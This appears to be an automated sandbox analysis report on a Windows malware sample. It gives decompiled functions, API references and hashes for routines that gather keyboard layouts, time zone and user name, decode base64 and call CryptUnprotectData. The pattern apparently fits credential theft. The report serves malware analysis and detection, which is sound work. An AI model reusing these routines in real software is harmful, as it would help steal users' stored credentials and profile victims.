FindNextFileA.KERNEL32(000000FF,?), ref: 00571423
FindClose.KERNEL32(000000FF), ref: 00571438

Memory Dump Source

Source File: 00000014.00000002.410579929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_570000_C29C.jbxd

Similarity

API ID: Find$File$CloseCurrentDirectoryFirstNextwsprintf
String ID:
API String ID: 2809309208-0
Opcode ID: 4258f23d34cf02f08480d43e87c0d7bfbbd2779a6ab049ced438d9f47dbadb74
Instruction ID: e5f763a39341dc487ad489db48b63a90c2692fdbb7b886ea8eebb724b6514412
Opcode Fuzzy Hash: 4258f23d34cf02f08480d43e87c0d7bfbbd2779a6ab049ced438d9f47dbadb74
Instruction Fuzzy Hash: 1B3182B2500218ABCB10DFA4DD88EEA77BCBF48705F00C699B609A2050DB34DB94DF59

Uniqueness

Uniqueness Score: -1.00%

Function 0040AE00, Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040AE00() {
				void* _v8;
				void _v524;
				int _v528;
				int _v532;
				void* _v536;
				signed int _v540;
				void* _t63;

				_v536 = RtlAllocateHeap(GetProcessHeap(), 0, 0x1f4);
				_v528 = 0;
				_v8 = 0;
				_v532 = GetKeyboardLayoutList(0, 0);
				_v8 = LocalAlloc(0x40, _v532 << 2);
				_v532 = GetKeyboardLayoutList(_v532, _v8);
				_v540 = 0;
				while(_v540 < _v532) {
					GetLocaleInfoA( *(_v8 + _v540 * 4) & 0x0000ffff, 2,  &_v524, 0x200);
					if(_v528 == 0) {
						wsprintfA(_v536, 0x414024,  &_v524);
						_t63 = _t63 + 0xc;
					} else {
						wsprintfA(_v536, "%s / %s", _v536,  &_v524);
						_t63 = _t63 + 0x10;
					}
					_v528 = _v528 + 1;
					memset( &_v524, 0, 0x200);
					_v540 = _v540 + 1;
				}
				if(_v8 != 0) {
					LocalFree(_v8);
				}
				return _v536;
			}

0x0040ae1d
0x0040ae23
0x0040ae2d
0x0040ae3e
0x0040ae56
0x0040ae6a
0x0040ae70
0x0040ae8b
0x0040aeb9
0x0040aec6
0x0040af00
0x0040af06
0x0040aec8
0x0040aee2
0x0040aee8
0x0040aee8
0x0040af12
0x0040af26
0x0040ae85
0x0040ae85
0x0040af35
0x0040af3b
0x0040af3b
0x0040af4a

APIs

GetProcessHeap.KERNEL32(00000000,000001F4), ref: 0040AE10
RtlAllocateHeap.NTDLL(00000000), ref: 0040AE17
GetKeyboardLayoutList.USER32(00000000,00000000), ref: 0040AE38
LocalAlloc.KERNEL32(00000040,?), ref: 0040AE50
GetKeyboardLayoutList.USER32(?,00000000), ref: 0040AE64
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 0040AEB9
wsprintfA.USER32 ref: 0040AEE2
wsprintfA.USER32 ref: 0040AF00
memset.NTDLL ref: 0040AF26
LocalFree.KERNEL32(00000000), ref: 0040AF3B

Strings

%s / %s, xrefs: 0040AED6

Memory Dump Source

Source File: 00000014.00000002.410432362.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.410480018.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_C29C.jbxd

Similarity

API ID: HeapKeyboardLayoutListLocalwsprintf$AllocAllocateFreeInfoLocaleProcessmemset
String ID: %s / %s
API String ID: 1833916909-2910687431
Opcode ID: 0f92bf5acf608854974982b1739cf72243a6d7f18833e1a36854ea9882f8a1ec
Instruction ID: eeb2f0a0621c424ab69100cade097cc135afe8712b6e6ced773cd8003e1ddd0d
Opcode Fuzzy Hash: 0f92bf5acf608854974982b1739cf72243a6d7f18833e1a36854ea9882f8a1ec
Instruction Fuzzy Hash: 48317CB098121CEBDB60DB54CD8DBE9B7B4FB54300F1086E5E509A6291C7745ED0CF9A

Uniqueness

Uniqueness Score: -1.00%

Function 0057B050, Relevance: 15.1, APIs: 10, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000001F4), ref: 0057B060
RtlAllocateHeap.NTDLL(00000000), ref: 0057B067
GetKeyboardLayoutList.USER32(00000000,00000000), ref: 0057B088
LocalAlloc.KERNEL32(00000040,?), ref: 0057B0A0
GetKeyboardLayoutList.USER32(?,00000000), ref: 0057B0B4
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 0057B109
wsprintfA.USER32 ref: 0057B132
wsprintfA.USER32 ref: 0057B150
memset.NTDLL ref: 0057B176
LocalFree.KERNEL32(00000000), ref: 0057B18B

Memory Dump Source

Source File: 00000014.00000002.410579929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_570000_C29C.jbxd

Similarity

API ID: HeapKeyboardLayoutListLocalwsprintf$AllocAllocateFreeInfoLocaleProcessmemset
String ID:
API String ID: 1833916909-0
Opcode ID: 0f92bf5acf608854974982b1739cf72243a6d7f18833e1a36854ea9882f8a1ec
Instruction ID: fd0cf954277a2949034af3f58d06c5827d794ec104703b15a33d14983f7ceff7
Opcode Fuzzy Hash: 0f92bf5acf608854974982b1739cf72243a6d7f18833e1a36854ea9882f8a1ec
Instruction Fuzzy Hash: A0319AB0A8121CEBEB20DB94DC8DBE9B7B4FB44300F1086D5E519A2281CB745ED0DF55

Uniqueness

Uniqueness Score: -1.00%

Function 00407470, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55
encryptionmemoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00407470(void* __ecx, char* _a4, void** _a8, char _a12) {
				int _v8;

				_v8 = 0;
				 *_a8 = 0;
				_t3 =  &_a12; // 0x407726
				 *( *_t3) = 0;
				_t4 =  &_a12; // 0x407726
				if(CryptStringToBinaryA(_a4, 0, 1, 0,  *_t4, 0, 0) != 0) {
					_t6 =  &_a12; // 0x407726
					 *_a8 = LocalAlloc(0x40,  *( *_t6));
					if( *_a8 != 0) {
						_t9 =  &_a12; // 0x407726
						_v8 = CryptStringToBinaryA(_a4, 0, 1,  *_a8,  *_t9, 0, 0);
						if(_v8 == 0) {
							 *_a8 = LocalFree( *_a8);
						}
					}
				}
				return _v8;
			}

0x00407474
0x0040747e
0x00407484
0x00407487
0x00407491
0x004074a7
0x004074a9
0x004074ba
0x004074c2
0x004074c8
0x004074e0
0x004074e7
0x004074f8
0x004074f8
0x004074e7
0x004074c2
0x00407500

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,&w@,00000000,00000000), ref: 0040749F
LocalAlloc.KERNEL32(00000040,?,?,00407726,?,?), ref: 004074B1
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,?,&w@,00000000,00000000), ref: 004074DA
LocalFree.KERNEL32(?,?,?,00407726,?,?), ref: 004074EF

Strings

&w@, xrefs: 00407484, 00407491, 004074A9, 004074C8, 00407494, 004074CB

Memory Dump Source

Source File: 00000014.00000002.410432362.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.410480018.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_C29C.jbxd

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID: &w@
API String ID: 4291131564-3575860705
Opcode ID: 08b659a240ee31d0f212fcd460449a7e6ac96e7e70d3894c24358685cfddc9bf
Instruction ID: c39f37767852ac2ecb8cc561512dd45ccdd2e68df360e397a827ac1b88331437
Opcode Fuzzy Hash: 08b659a240ee31d0f212fcd460449a7e6ac96e7e70d3894c24358685cfddc9bf
Instruction Fuzzy Hash: 7011C0B4641208AFEB00CF64CC95FAA77B5FB89710F20C459F9199B3D0C7B5A940CB54

Uniqueness

Uniqueness Score: -1.00%

Function 005776C0, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,vyW,00000000,00000000), ref: 005776EF
LocalAlloc.KERNEL32(00000040,?,?,00577976,?,?), ref: 00577701
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,?,vyW,00000000,00000000), ref: 0057772A
LocalFree.KERNEL32(?,?,?,00577976,?,?), ref: 0057773F

Strings

vyW, xrefs: 005776D4, 005776E1, 005776F9, 00577718, 005776E4, 0057771B

Memory Dump Source

Source File: 00000014.00000002.410579929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_570000_C29C.jbxd

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID: vyW
API String ID: 4291131564-2765081368
Opcode ID: 08b659a240ee31d0f212fcd460449a7e6ac96e7e70d3894c24358685cfddc9bf
Instruction ID: c4a0e649ffb582f925ae217721187f6b96b6af26ca650ed256db4fff634b995e
Opcode Fuzzy Hash: 08b659a240ee31d0f212fcd460449a7e6ac96e7e70d3894c24358685cfddc9bf
Instruction Fuzzy Hash: 6411C0B4241208AFEB04CF64DC95FAA77B5FB89710F20C458F9199B2D0C7B1A940CB54

Uniqueness

Uniqueness Score: -1.00%

Function 0040AD40, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 32
memorytimeCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E0040AD40() {
				struct _TIME_ZONE_INFORMATION _v180;
				void* _v184;
				long _v188;

				_v184 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				_v188 = GetTimeZoneInformation( &_v180);
				if(_v188 != 0xffffffff) {
					asm("cdq");
					wsprintfA(_v184, "UTC%d",  ~(_v180.Bias) / 0x3c);
					return _v184;
				}
				return _v184;
			}

0x0040ad5d
0x0040ad70
0x0040ad7d
0x0040ad8f
0x0040ada4
0x00000000
0x0040adad
0x00000000

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040AD50
RtlAllocateHeap.NTDLL(00000000), ref: 0040AD57
GetTimeZoneInformation.KERNEL32(?), ref: 0040AD6A
wsprintfA.USER32 ref: 0040ADA4

Strings

UTC%d, xrefs: 0040AD98

Memory Dump Source

Source File: 00000014.00000002.410432362.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.410480018.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_C29C.jbxd

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID: UTC%d
API String ID: 3317088062-2723047788
Opcode ID: c1eaeb3e9eb05cc2c06cb84a2f343100f25f8727c1150393eb784ecd10d2e60d
Instruction ID: 6bb383849dc0d2738afe04011fc8d00bcf8755a75da2bcdf9aea4dbc95a6d17c
Opcode Fuzzy Hash: c1eaeb3e9eb05cc2c06cb84a2f343100f25f8727c1150393eb784ecd10d2e60d
Instruction Fuzzy Hash: D9F0F670904318DBDB209BA0DD49BE5737AAF04301F0041E1EA09A3291C7745E90CF47

Uniqueness

Uniqueness Score: -1.00%

Function 004077A0, Relevance: 7.6, APIs: 5, Instructions: 90stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(0040931D,00000001,?,00001FA0,00000000,00000000,?,00001FA0), ref: 004077EB
CryptStringToBinaryA.CRYPT32(0040931D,00000000), ref: 004077F6
lstrcat.KERNEL32(?,0041401A), ref: 004078B9
lstrcat.KERNEL32(?,0041401A), ref: 004078CD
lstrcat.KERNEL32(0041401A,0041401A), ref: 004078EE

Memory Dump Source

Source File: 00000014.00000002.410432362.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.410480018.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_C29C.jbxd

Similarity

API ID: lstrcat$BinaryCryptStringlstrlen
String ID:
API String ID: 189259977-0
Opcode ID: 516e6448358f7b58bb84e67d9d16b3023418a82e33a7becf366805c1b7c308d2
Instruction ID: 30f07ec64d583e05a1b33d7b848fe3cd5425e9d6c421b14f2a106d9c5e4e8dd0
Opcode Fuzzy Hash: 516e6448358f7b58bb84e67d9d16b3023418a82e33a7becf366805c1b7c308d2
Instruction Fuzzy Hash: 42414075D042199BDB10DF90CD89BFEB7B8EF48744F1085BAE505A7280C7786A84CF9A

Uniqueness

Uniqueness Score: -1.00%

Function 005779F0, Relevance: 7.6, APIs: 5, Instructions: 90stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(0057956D,00000001,?,00001FA0,00000000,00000000,?,00001FA0), ref: 00577A3B
CryptStringToBinaryA.CRYPT32(0057956D,00000000), ref: 00577A46
lstrcat.KERNEL32(?,0041401A), ref: 00577B09
lstrcat.KERNEL32(?,0041401A), ref: 00577B1D
lstrcat.KERNEL32(0041401A,0041401A), ref: 00577B3E

Memory Dump Source

Source File: 00000014.00000002.410579929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_570000_C29C.jbxd

Similarity

API ID: lstrcat$BinaryCryptStringlstrlen
String ID:
API String ID: 189259977-0
Opcode ID: 22087c711f4338eb39b615c0f377d7a38918ef4b0fdc1615a81ca521fe69a690
Instruction ID: cc9f3f79a01a8ed6851b9c9c060a3bc7b81e534299d1f1790aff184efdc62afc
Opcode Fuzzy Hash: 22087c711f4338eb39b615c0f377d7a38918ef4b0fdc1615a81ca521fe69a690
Instruction Fuzzy Hash: AE41807490421E9FCB10DF90DD89BEEBBB8FF48300F1085A9E509A7280D7745A80DF95

Uniqueness

Uniqueness Score: -1.00%

Function 00404830, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 49
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E00404830(void* __ecx, void* __eflags, char* _a4) {
				int _v8;
				void _v20011;
				char _v20012;

				E004139B0(0x4e28, __ecx);
				_v20012 = 0;
				memset( &_v20011, 0, 0x4e1f);
				_v8 = 0;
				CryptStringToBinaryA(_a4, E0040B740( &_v8, _a4), 1, 0,  &_v8, 0, 0);
				if(CryptStringToBinaryA(_a4, E0040B740( &_v8, _a4), 1,  &_v20012,  &_v8, 0, 0) == 0) {
					return 0x418b78;
				}
				return  &_v20012;
			}

0x00404838
0x0040483d
0x00404852
0x0040485a
0x0040487e
0x004048ae
0x00000000
0x004048ba
0x00000000

APIs

memset.MSVCRT ref: 00404852
CryptStringToBinaryA.CRYPT32(00000000,00000000,00000000,007822D0), ref: 0040487E
CryptStringToBinaryA.CRYPT32(00000000,00000000,00000000,00000000,00000000), ref: 004048A6

Strings

UNK, xrefs: 004048BA

Memory Dump Source

Source File: 00000014.00000002.410432362.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.410480018.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_C29C.jbxd

Similarity

API ID: BinaryCryptString$memset
String ID: UNK
API String ID: 1505698593-448974810
Opcode ID: 0302c2f55f6a7eb287019bb5278503ac1340180e62eed3cb738e234bc2e133be
Instruction ID: 67e6f1f926e8c7a0577fe417f9255aed609f7f29732bbe38cca2ef159a93475b
Opcode Fuzzy Hash: 0302c2f55f6a7eb287019bb5278503ac1340180e62eed3cb738e234bc2e133be
Instruction Fuzzy Hash: 150180F6A50208BAE710EA90CC46FDA736CAB44705F104569B704AB2C1DBF5AB8487AD

Uniqueness

Uniqueness Score: -1.00%

Function 00574A80, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49encryptionCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000000), ref: 00574ACE
CryptStringToBinaryA.CRYPT32(?,00000000,00000000,00000000), ref: 00574AF6

Strings

UNK, xrefs: 00574B0A

Memory Dump Source

Source File: 00000014.00000002.410579929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_570000_C29C.jbxd

Similarity

API ID: BinaryCryptString
String ID: UNK
API String ID: 80407269-448974810
Opcode ID: 6933eaff934019462525ac9f63904068db082611bb120be6f3861f78d51b7ebf
Instruction ID: bebc3cd8f86ebcb7be6cd312b91d274f2a47b26fe9a81095dd800d909b8e9917
Opcode Fuzzy Hash: 6933eaff934019462525ac9f63904068db082611bb120be6f3861f78d51b7ebf
Instruction Fuzzy Hash: B40196F2A4020877EB10EB90DC4AFDA376CBB44700F104554B708AA1C1D7F0FB448BA9

Uniqueness

Uniqueness Score: -1.00%

Function 00407510, Relevance: 4.5, APIs: 3, Instructions: 49
memoryencryptionCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00407510(intOrPtr _a4, char _a8, intOrPtr* _a12, long* _a16) {
				void* _v8;
				long _v12;
				intOrPtr _v16;
				char _v20;
				intOrPtr _v24;

				_v16 = _a4;
				_v20 = _a8;
				_v24 =  *0x41a91c( &_v20, 0, 0, 0, 0, 0,  &_v12);
				if(_v24 != 0) {
					 *_a16 = _v12;
					 *_a12 = LocalAlloc(0x40,  *_a16);
					if( *_a12 != 0) {
						E0040B6C0( *_a12, _v8,  *_a16);
					}
				}
				LocalFree(_v8);
				return _v24;
			}

0x00407519
0x0040751f
0x0040753a
0x00407541
0x00407549
0x0040755c
0x00407564
0x00407576
0x00407576
0x00407564
0x0040757f
0x0040758b

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00407534
LocalAlloc.KERNEL32(00000040,00000000), ref: 00407553
LocalFree.KERNEL32(?), ref: 0040757F

Memory Dump Source

Source File: 00000014.00000002.410432362.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.410480018.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_C29C.jbxd

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: b90efae16c500797bef48a79db51a3ce8e169ba8c9442b9772ed69811b9c1519
Instruction ID: 5588d120a004665a6ba361d23f784ce6a241c8210f3f123560cfb33f0262ac2e
Opcode Fuzzy Hash: b90efae16c500797bef48a79db51a3ce8e169ba8c9442b9772ed69811b9c1519
Instruction Fuzzy Hash: A711BAB4A01209EFCB04DF94D984EEE77B5FF88300F108569E915A7390D734AE51CB65

Uniqueness

Uniqueness Score: -1.00%

Function 00577760, Relevance: 4.5, APIs: 3, Instructions: 49memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00577784
LocalAlloc.KERNEL32(00000040,00000000), ref: 005777A3
LocalFree.KERNEL32(?), ref: 005777CF

Memory Dump Source

Source File: 00000014.00000002.410579929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_570000_C29C.jbxd

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: b90efae16c500797bef48a79db51a3ce8e169ba8c9442b9772ed69811b9c1519
Instruction ID: aaf68d2fdd807035975e797f82d1b730bca25ca952e00381f65f525bbd70e41f
Opcode Fuzzy Hash: b90efae16c500797bef48a79db51a3ce8e169ba8c9442b9772ed69811b9c1519
Instruction Fuzzy Hash: 1311B7B8A01209EFCB04DF94D988EAEB7B9FF89300F108558F915A7390D730AE51CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0040ACA0, Relevance: 4.5, APIs: 3, Instructions: 19
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040ACA0() {
				long _v8;
				void* _v12;

				_v12 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				_v8 = 0x104;
				GetUserNameA(_v12,  &_v8);
				return _v12;
			}

0x0040acba
0x0040acbd
0x0040accc
0x0040acd8

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00406B14,JohnDoe,?,00406B8D), ref: 0040ACAD
RtlAllocateHeap.NTDLL(00000000,?,00406B8D), ref: 0040ACB4
GetUserNameA.ADVAPI32(?,00000104), ref: 0040ACCC

Memory Dump Source

Source File: 00000014.00000002.410432362.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.410480018.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_C29C.jbxd

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: e9dc6b98a5dfea62f6889e6a1ef584fcd877daf0bb91c9162e28492c9d990377
Instruction ID: d8f7b171ebd5a715f3e42bd651ca7b29b46524e3321307990960babfdc207423
Opcode Fuzzy Hash: e9dc6b98a5dfea62f6889e6a1ef584fcd877daf0bb91c9162e28492c9d990377
Instruction Fuzzy Hash: 68E08CB4901208BBCB00EFE4DE49ACDBBB8AB08302F0040A4EA04E3280D6755A94CB52

Uniqueness

Uniqueness Score: -1.00%

Function 00576CF0, Relevance: 4.5, APIs: 3, Instructions: 19sleepCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00576CF6
Sleep.KERNEL32(00002710), ref: 00576D04
GetTickCount.KERNEL32 ref: 00576D0A

Memory Dump Source

Source File: 00000014.00000002.410579929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_570000_C29C.jbxd

Similarity

API ID: CountTick$Sleep
String ID:
API String ID: 4250438611-0
Opcode ID: 7f553c1e48c696f60989e1e45f98f64c256f88cb05cd9abfc45eb1fdc696742f
Instruction ID: a15a48c37c4d91abed1e0c55ff921f1c49e7189cd5b07809e377ea65aafd964d
Opcode Fuzzy Hash: 7f553c1e48c696f60989e1e45f98f64c256f88cb05cd9abfc45eb1fdc696742f
Instruction Fuzzy Hash: 9EE0BF35A59109DFD710AFB4ED094AC7FB4EB04342F10C9B5980996150DA744954AA57

Uniqueness

Uniqueness Score: -1.00%

Function 00407190, Relevance: 1.6, APIs: 1, Instructions: 60
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 25%

			E00407190(intOrPtr _a4, void* _a8) {
				intOrPtr _v8;
				intOrPtr _v12;
				char _v16;
				intOrPtr _v20;
				char _v24;
				intOrPtr _v28;
				char _v32;

				_v8 = E0040B6A0(_a8);
				E0040B6C0(_v8, _a4, _a8);
				_v12 = _a4;
				_v16 = _a8;
				_v28 = E0040B6A0(_a8);
				_push( &_v24);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push( &_v16);
				if( *0x41a91c() == 0) {
					return 0;
				}
				_v32 = 0;
				while(_v32 < _v24) {
					 *((char*)(_v28 + _v32)) =  *((intOrPtr*)(_v20 + _v32));
					_v32 = _v32 + 1;
				}
				 *((char*)(_v28 + _v24)) = 0;
				return _v28;
			}

0x004071a2
0x004071b1
0x004071b9
0x004071bf
0x004071ce
0x004071d4
0x004071d5
0x004071d7
0x004071d9
0x004071db
0x004071dd
0x004071e2
0x004071eb
0x00000000
0x00407229
0x004071ed
0x004071ff
0x00407215
0x004071fc
0x004071fc
0x0040721f
0x00000000

APIs

Part of subcall function 0040B6A0: GetProcessHeap.KERNEL32(00000008,00413650,?,0040B59D,00413650,?,?,00413650,00004098), ref: 0040B6A9
Part of subcall function 0040B6A0: RtlAllocateHeap.NTDLL(00000000,?,0040B59D), ref: 0040B6B0

CryptUnprotectData.CRYPT32(00000003,00000000,00000000,00000000,00000000,00000000,?), ref: 004071E3

Memory Dump Source

Source File: 00000014.00000002.410432362.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.410480018.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_C29C.jbxd

Similarity

API ID: Heap$AllocateCryptDataProcessUnprotect
String ID:
API String ID: 976466151-0
Opcode ID: eb6f61757d666350bd732e34e11297bcafa1fe30373c176f0f3feb6d61718744
Instruction ID: 8f8f6216897be9d8972c86f868d54cc82cdb6c08760e6d1e730d1f8a7c76b19d
Opcode Fuzzy Hash: eb6f61757d666350bd732e34e11297bcafa1fe30373c176f0f3feb6d61718744
Instruction Fuzzy Hash: 17116DB5D04109EBCF00CFD8D881AAFB7B4AF44304F108569E905AB341D338AA41CF9A

Uniqueness

Uniqueness Score: -1.00%

Function 005773E0, Relevance: 1.6, APIs: 1, Instructions: 60encryptionCOMMON

Download Yara Rule

APIs

Part of subcall function 0057B8F0: GetProcessHeap.KERNEL32(00000008,b6X,?,0057B7ED,b6X,00000009,?,00583662,00000009), ref: 0057B8F9
Part of subcall function 0057B8F0: RtlAllocateHeap.NTDLL(00000000,?,0057B7ED), ref: 0057B900

CryptUnprotectData.CRYPT32(00000003,00000000,00000000,00000000,00000000,00000000,?), ref: 00577433

Memory Dump Source

Source File: 00000014.00000002.410579929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_570000_C29C.jbxd

Similarity

API ID: Heap$AllocateCryptDataProcessUnprotect
String ID:
API String ID: 976466151-0
Opcode ID: eb6f61757d666350bd732e34e11297bcafa1fe30373c176f0f3feb6d61718744
Instruction ID: fd7a0bd6f11bad963df44f90395939689bb3ec503e94fd304391c436d9621e49
Opcode Fuzzy Hash: eb6f61757d666350bd732e34e11297bcafa1fe30373c176f0f3feb6d61718744
Instruction Fuzzy Hash: CC113AB5D0420EEFCF00CFA8E881AAEBBB5BF48304F10C555E919AB301D734AA41DB91

Uniqueness

Uniqueness Score: -1.00%

Function 004056E0, Relevance: 128.1, APIs: 64, Strings: 9, Instructions: 315stringmemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000F423F,?,?,004067CA,?,?,?,?,?,00000104,?,00001388), ref: 004056EB
RtlAllocateHeap.NTDLL(00000000,?,004067CA), ref: 004056F2
lstrcat.KERNEL32(?,0076EC80), ref: 00405705
lstrcat.KERNEL32(?,0076E518), ref: 00405716
lstrcat.KERNEL32(?,00418BC0), ref: 00405725
lstrcat.KERNEL32(?,0076EC90), ref: 00405736
lstrcat.KERNEL32(?,00418BC4), ref: 00405745
lstrcat.KERNEL32(?,007852C0), ref: 00405756
lstrcat.KERNEL32(?,00418BC0), ref: 00405765
lstrcat.KERNEL32(?,007865D0), ref: 00405776
GetCurrentProcessId.KERNEL32(?,004067CA,?,?,?,?,?,00000104,?,00001388), ref: 0040577C

Part of subcall function 0040B950: OpenProcess.KERNEL32(00000410,00000000,004067CA), ref: 0040B964
Part of subcall function 0040B950: GetModuleFileNameExA.PSAPI(00000000,00000000,?,00000104), ref: 0040B985
Part of subcall function 0040B950: CloseHandle.KERNEL32(00000000), ref: 0040B98F

lstrcat.KERNEL32(?,00000000), ref: 00405790
lstrcat.KERNEL32(00418BC0,00418BC0), ref: 0040579F
lstrcat.KERNEL32(hdx,00786468), ref: 004057AF

Part of subcall function 0040ACE0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,?,004057BA,?,?,?,?,00000104,?,00001388), ref: 0040ACED
Part of subcall function 0040ACE0: RtlAllocateHeap.NTDLL(00000000), ref: 0040ACF4
Part of subcall function 0040ACE0: GetLocalTime.KERNEL32(?,?,?,?,?,?,004057BA,?,?,?,?,00000104,?,00001388), ref: 0040AD01
Part of subcall function 0040ACE0: wsprintfA.USER32 ref: 0040AD2E

lstrcat.KERNEL32(00000000,00000000), ref: 004057BF
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 004057CE
lstrcat.KERNEL32(00786588,00786588), ref: 004057DF

Part of subcall function 0040AD40: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040AD50
Part of subcall function 0040AD40: RtlAllocateHeap.NTDLL(00000000), ref: 0040AD57
Part of subcall function 0040AD40: GetTimeZoneInformation.KERNEL32(?), ref: 0040AD6A

lstrcat.KERNEL32(00000000,00000000), ref: 004057EF
lstrcat.KERNEL32(00418BC0,00418BC0), ref: 004057FE
lstrcat.KERNEL32(hdx,007850E0), ref: 0040580F

Part of subcall function 0040ADC0: GetUserDefaultLocaleName.KERNEL32(?,00000055), ref: 0040ADD2

lstrcat.KERNEL32(00000000,00000000), ref: 0040581F
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 0040582E
lstrcat.KERNEL32(007853C0,007853C0), ref: 0040583E

Part of subcall function 0040AE00: GetProcessHeap.KERNEL32(00000000,000001F4), ref: 0040AE10
Part of subcall function 0040AE00: RtlAllocateHeap.NTDLL(00000000), ref: 0040AE17
Part of subcall function 0040AE00: GetKeyboardLayoutList.USER32(00000000,00000000), ref: 0040AE38
Part of subcall function 0040AE00: LocalAlloc.KERNEL32(00000040,?), ref: 0040AE50
Part of subcall function 0040AE00: GetKeyboardLayoutList.USER32(?,00000000), ref: 0040AE64
Part of subcall function 0040AE00: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 0040AEB9
Part of subcall function 0040AE00: wsprintfA.USER32 ref: 0040AEE2
Part of subcall function 0040AE00: wsprintfA.USER32 ref: 0040AF00
Part of subcall function 0040AE00: memset.NTDLL ref: 0040AF26
Part of subcall function 0040AE00: LocalFree.KERNEL32(00000000), ref: 0040AF3B

lstrcat.KERNEL32(00000000,00000000), ref: 0040584E
lstrcat.KERNEL32(00418BC0,00418BC0), ref: 0040585D
lstrcat.KERNEL32(00786480,00786480), ref: 0040586E

